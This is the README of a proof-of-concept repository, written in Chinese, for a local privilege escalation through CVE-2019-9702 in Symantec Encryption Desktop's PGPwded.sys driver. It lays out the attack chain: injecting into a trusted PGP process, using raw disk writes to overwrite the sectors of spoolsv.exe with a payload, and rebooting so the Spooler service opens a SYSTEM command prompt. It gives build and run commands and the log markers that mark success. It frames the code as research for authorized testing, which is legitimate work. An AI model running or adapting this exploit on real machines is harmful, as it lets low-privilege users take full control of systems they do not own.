针对 Symantec Encryption Desktop 中 CVE-2019-9702 的本地权限提升 PoC,可弹出 SYSTEM shell。
PGPwded.sys 本地权限提升 PoC该仓库包含一个针对 Symantec Encryption Desktop 的 PGPwded.sys 存储过滤器中的本地权限提升路径的概念验证(PoC),其基础是一个低权限的原始磁盘读/写原语。
该 PoC 针对 Symantec Encryption Desktop Pro 10.4.2 MP3 开发和测试。其他版本尚未使用此实现进行测试。
这项工作受到 Kyriakos Economou / Nettitude(现为 LRQA Nettitude)原始公开研究的启发,并在其基础上构建:
他们的文章描述了 PGPwded.sys 设备访问检查、可信 PGP 进程注入思路、原始读/写 IOCTL 以及基于 NTFS 的利用方法。本 PoC 专注于一种重启触发的服务二进制覆盖变体,并包含一个只读预检工具。
src/
sym_portable_launcher.c # single-EXE launcher; embeds and drops the staging worker
portable_stage_worker.c # injected worker; maps C:, opens PGPwded, stages payload
spooler_payload.c # service payload run by Spooler as LocalSystem after reboot
sym_portable_precheck.c # single-EXE read-only precheck launcher
precheck_worker.c # injected read-only diagnostic worker
*_bytes.h # generated embedded payload/worker byte arrays
tools/
sym_target_diag_lite.cmd # wrapper script for collecting target diagnostics
重启阶段的漏洞利用程序是一个释放出的 32 位 Windows 可执行文件。概括来说:
C:\Users\Public)运行启动器。%TEMP%。\\.\PGPwdef。C:\Windows\System32\spoolsv.exe 映射到其 NTFS 盘区,并计算对应的磁盘扇区。\Device\000000xx PGP 磁盘对象映射到该 C: 扇区。C:\Users\Public\spoolsv.exe.orig.portable。spoolsv.exe 对应的扇区。只读预检遵循相同的可信进程路径,但仅使用原始读取 IOCTL。它不会覆盖文件,也不会暂存漏洞利用程序。
在安装了 MinGW-w64 的 Linux 主机上构建:
make
预期输出:
bin/sym_portable_reboot_stage32.exe # exploit/stager
bin/sym_portable_precheck32.exe # read-only precheck
先运行预检。它旨在不修改受保护文件的情况下,判断当前漏洞利用条件是否存在。
C:\Users\Public\sym_portable_precheck32.exe
notepad C:\Users\Public\sym_portable_precheck.log
一个可行的目标应以以下内容结尾:
[OK] current reboot exploit conditions
如果日志显示没有可读的 PGP PDO,或没有 C: 扇区匹配,请不要运行漏洞利用程序。这通常意味着操作系统磁盘不是由 Symantec WDE 管理/检测的。
如需更完整的目标报告,请将以下两个文件复制到同一目录并运行 CMD 包装脚本:
sym_target_diag_lite.cmd
sym_portable_precheck32.exe
然后运行:
C:\Users\Public\sym_target_diag_lite.cmd
notepad C:\Users\Public\sym_target_diag_lite.log
仅在您有权修改受保护系统文件且预检已通过的系统上运行此漏洞利用程序。
将暂存器复制到可写路径,并以低权限用户身份运行:
C:\Users\Public\sym_portable_reboot_stage32.exe
检查暂存日志:
type C:\Users\Public\sym_portable_launcher.log
type C:\Users\Public\sym_portable_stage.log
如果暂存成功,工作日志将包含:
STAGED_OK_REBOOT_TO_TRIGGER
重新启动机器。重启后,Spooler 服务应作为 LocalSystem 启动载荷,并打开一个标题为以下内容的命令提示符:
SYSTEM_CMD_FROM_PORTABLE_REBOOT_LPE
暂存器在覆盖目标之前会创建此备份:
C:\Users\Public\spoolsv.exe.orig.portable
未包含公开的一键恢复模式。在测试中,恢复是通过将备份原始写入相同的映射扇区并重新启动来完成的。在发布二进制文件之前,应添加并验证安全的恢复流程。
C:\Windows\System32\spoolsv.exe 为目标。PGPwded.sys 暴露;仅安装 Symantec 是不够的。这是用于授权测试和防御性验证的研究代码。请勿在您不拥有或未经明确许可评估的系统上运行它。